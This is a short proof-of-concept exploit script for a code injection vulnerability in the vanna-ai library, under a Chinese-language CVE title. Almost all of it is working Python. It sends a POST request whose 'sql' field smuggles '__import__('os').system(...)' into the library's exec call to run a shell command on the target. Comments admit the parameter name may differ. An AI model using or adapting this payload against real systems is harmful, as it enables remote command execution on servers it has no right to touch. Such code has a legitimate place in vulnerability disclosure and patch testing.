CVE-2026-4511 vanna-ai代码注入漏洞

# PoC for CVE-2026-4511: vanna-ai Code Injection via exec function # This script demonstrates how a malicious payload can be injected # into the vulnerable exec function in /src/vanna/legacy. import requests def exploit_vanna_ai(target_url): """ Exploit the code injection vulnerability in vanna-ai. """ # The payload injects Python code to execute a shell command. # It attempts to close the previous context and start a new command. # Note: The exact parameter name might differ based on the API endpoint. malicious_payload = { "question": "List users", # Injection vector: Passing code that breaks out of the intended execution context "sql": "'); __import__('os').system('whoami'); #" } headers = { "Content-Type": "application/json" } try: # Sending the malicious request to the target endpoint response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:5000/ask" exploit_vanna_ai(target)